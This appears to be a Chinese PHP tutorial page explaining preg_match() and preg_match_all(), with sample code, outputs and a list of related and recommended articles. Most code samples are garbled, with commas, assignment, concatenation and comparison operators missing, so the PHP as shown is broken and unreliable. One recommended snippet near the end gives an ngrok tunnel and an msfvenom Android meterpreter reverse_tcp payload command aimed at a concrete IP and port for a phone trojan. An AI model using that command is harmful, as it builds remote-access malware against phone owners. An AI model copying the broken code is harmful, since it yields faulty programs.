preg_match()

preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。

语法:

1
int preg_match( string pattern, string subject [, array matches ] )

参数说明:

参数 说明
pattern 正则表达式
subject 需要匹配检索的对象
matches 可选,存储匹配结果的数组, $matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推

例子 1:

1
2
3
4
5
6
7
8
9
<?php
if (preg_match("/php/i""PHP is the web scripting language of choice."$matches))
{
    print "A match was found:" $matches[0];
}
else
{
    print "A match was not found.";
}

输出:

1
A match was found:PHP

在该例子中,由于使用了 i 修正符,因此会不区分大小写去文本中匹配 php 。

注意:

preg_match() 第一次匹配成功后就会停止匹配,如果要实现全部结果的匹配,即搜索到subject结尾处,则需使用 preg_match_all() 函数。

例子 2 ,从一个 URL 中取得主机域名 :

1
2
3
4
5
6
7
8
<?php
// 从 URL 中取得主机名
preg_match("/^(http:\/\/)?([^\/]+)/i","http://blog.snsgou.com/index.php"$matches);
$host $matches[2];
 
// 从主机名中取得后面两段
preg_match("/[^\.\/]+\.[^\.\/]+$/"$host$matches);
echo "域名为:{$matches[0]}";

输出:

1
域名为:snsgou.com

preg_match_all()

preg_match_all() 函数用于进行正则表达式全局匹配,成功返回整个模式匹配的次数(可能为零),如果出错返回 FALSE 。

语法:

1
int preg_match_all( string pattern, string subject, array matches [, int flags ] )

参数说明:

参数 说明
pattern 正则表达式
subject 需要匹配检索的对象
matches 存储匹配结果的数组
flags

可选,指定匹配结果放入 matches 中的顺序,可供选择的标记有:

  1. PREG_PATTERN_ORDER:默认,对结果排序使 $matches[0] 为全部模式匹配的数组,$matches[1] 为第一个括号中的子模式所匹配的字符串组成的数组,以此类推
  2. PREG_SET_ORDER:对结果排序使 $matches[0] 为第一组匹配项的数组,$matches[1] 为第二组匹配项的数组,以此类推
  3. PREG_OFFSET_CAPTURE:如果设定本标记,对每个出现的匹配结果也同时返回其附属的字符串偏移量

下面的例子演示了将文本中所有 <pre></pre> 标签内的关键字(php)显示为红色。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str "<pre>学习php是一件快乐的事。</pre><pre>所有的phper需要共同努力!</pre>";
$kw "php";
preg_match_all('/<pre>([\s\S]*?)<\/pre>/'$str$mat);
for ($i = 0; $i count($mat[0]); $i++)
{
    $mat[0][$i] = $mat[1][$i];
    $mat[0][$i] = str_replace($kw'<span style="color:#ff0000">' $kw '</span>'$mat[0][$i]);
    $str str_replace($mat[1][$i], $mat[0][$i], $str);
}
echo $str;
?>

输出效果:

简化一下:

1
2
3
4
5
<?php
$str "<pre>学习php是一件快乐的事。</pre><pre>所有的phper需要共同努力!</pre>";
preg_match_all('/<pre>([\s\S]*?)<\/pre>/'$str$matches);
print_r($matches);
?>

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Array
(
    [0] => Array
        (
            [0] => <pre>学习php是一件快乐的事。</pre>
            [1] => <pre>所有的phper需要共同努力!</pre>
        )
 
    [1] => Array
        (
            [0] => 学习php是一件快乐的事。
            [1] => 所有的phper需要共同努力!
        )
 
)

参考:

http://php.net/manual/zh/function.preg-match-all.php

PHP 正则表达式匹配函数 preg_match 与 preg_match_all的更多相关文章

  1. php正则表达式匹配函数

    <?php function show($var=null){ if(empty($var))  { echo 'null'; }else if(is_array($var) || is_obj ...

  2. php 函数preg_match、preg_match_all ,以及正则表达式规则

    <?php $str = 'php is the best language phhhhp is'; $part = '/ph{1,}p/'; echo preg_match($part, $s ...

  3. php中函数preg_match或preg_match_all 第三个参数$match的解释

    理解自:http://www.cnblogs.com/vicenteforever/articles/1623137.html php手册中是这样解释的 matches 如果提供了参数matches, ...

  4. klee 测试一个简单的正则表达式匹配函数

    函数源代码位于 klee源码 的examples/regexp文件夹下面:c程雪源码文件名为  Regexp.c First Step: 使用clang编译器将c源代码转化为llvm位码形式.如果你的 ...

  5. PHP 正则表达式常用函数使用小结

    在PHP中有两套正则表达式函数库.一套是由PCRE(Perl Compatible Regular Expression)库提供的.PCRE库使用和Perl相同的语法规则实现了正则表达式的模式匹配,其 ...

  6. oracle 正则表达式 匹配

    oracle 正则表达式 在实际应用中,想排除带有中文的字段值: select h.froomnumber from t_broker_house h where REGEXP_LIKE(froomn ...

  7. PHP 正则表达式匹配 preg_match 与 preg_match_all 函数

    --http://www.5idev.com/p-php_preg_match.shtml 正则表达式在 PHP 中的应用 在 PHP 应用中,正则表达式主要用于: 正则匹配:根据正则表达式匹配相应的 ...

  8. preg_match 与 preg_match_all 函数示例详解

    正则表达式在 PHP 中的应用 在 PHP 应用中,正则表达式主要用于: 正则匹配:根据正则表达式匹配相应的内容 正则替换:根据正则表达式匹配内容并替换 正则分割:根据正则表达式分割字符串 在 PHP ...

  9. 使用正则表达式匹配JS函数代码

    使用正则表达式匹配JS函数代码 String someFunction="init"; Pattern regex = Pattern.compile("function ...

随机推荐

  1. Rstudio( bioconductor)下载太慢,用国内镜像

    在Rstudio中,下载软件install.packages()和 bioconductor软件下载命令 source("http://bioconductor.org/biocLite.R ...

  2. C# 调用动态链接库,给游览器写入Cookie

    样例代码: class Program { /// <summary> /// 写 /// </summary> /// <param name="lpszUr ...

  3. TensorFlow 基础知识

    参考资料: 深度学习笔记目录 向机器智能的TensorFlow实践 TensorFlow机器学习实战指南 Nick的博客 TensorFlow 采用数据流图进行数值计算.节点代表计算图中的数学操作,计 ...

  4. C#设计模式之总结篇

    一.引言     C#版本的23种设计模式已经写完了,现在也到了一个该总结的时候了.说起设计模式,我的话就比较多了.刚开始写代码的时候,有需求就写代码来解决需求,如果有新的需求,或者需求变了,我就想当 ...

  5. JS 获取字符串实际长度

    解决思路,把中文转换为两个字节的英文,再计算长度. function getStrLength(str) { return str.replace(/[\u0391-\uFFE5]/g,"a ...

  6. 浅谈我的MongoDB学习(二)

    上一篇简单讲了mongodb的安装,mongo的windows服务安装,这样服务器重启windows服务会自动重启mongodb的server,然后我们就可以用客户端去管理数据了.mongodb客户端 ...

  7. 部署java项目到阿里云服务器(centos7版本)

    一.搭建环境 1.搭建java环境(64位) 一.准备压缩包,rpm包或者tar包,将其上传到阿里云对应的文件夹(我用的工具是WinSCP,百度一下就有下载资源) 二.若是rpm包,可以通过 rpm ...

  8. msfconsole弄外网手机木马

    创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...

  9. COGS 144. [USACO Dec07] 魅力手镯【01背包复习】

    144. [USACO Dec07] 魅力手镯 ★   输入文件:charm.in   输出文件:charm.out   简单对比 时间限制:1 s   内存限制:8 MB 译 by CmYkRgB1 ...

  10. hihoCoder #1498 : Diligent Robots【数学】

    #1498 : Diligent Robots 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 There are N jobs to be finished. It t ...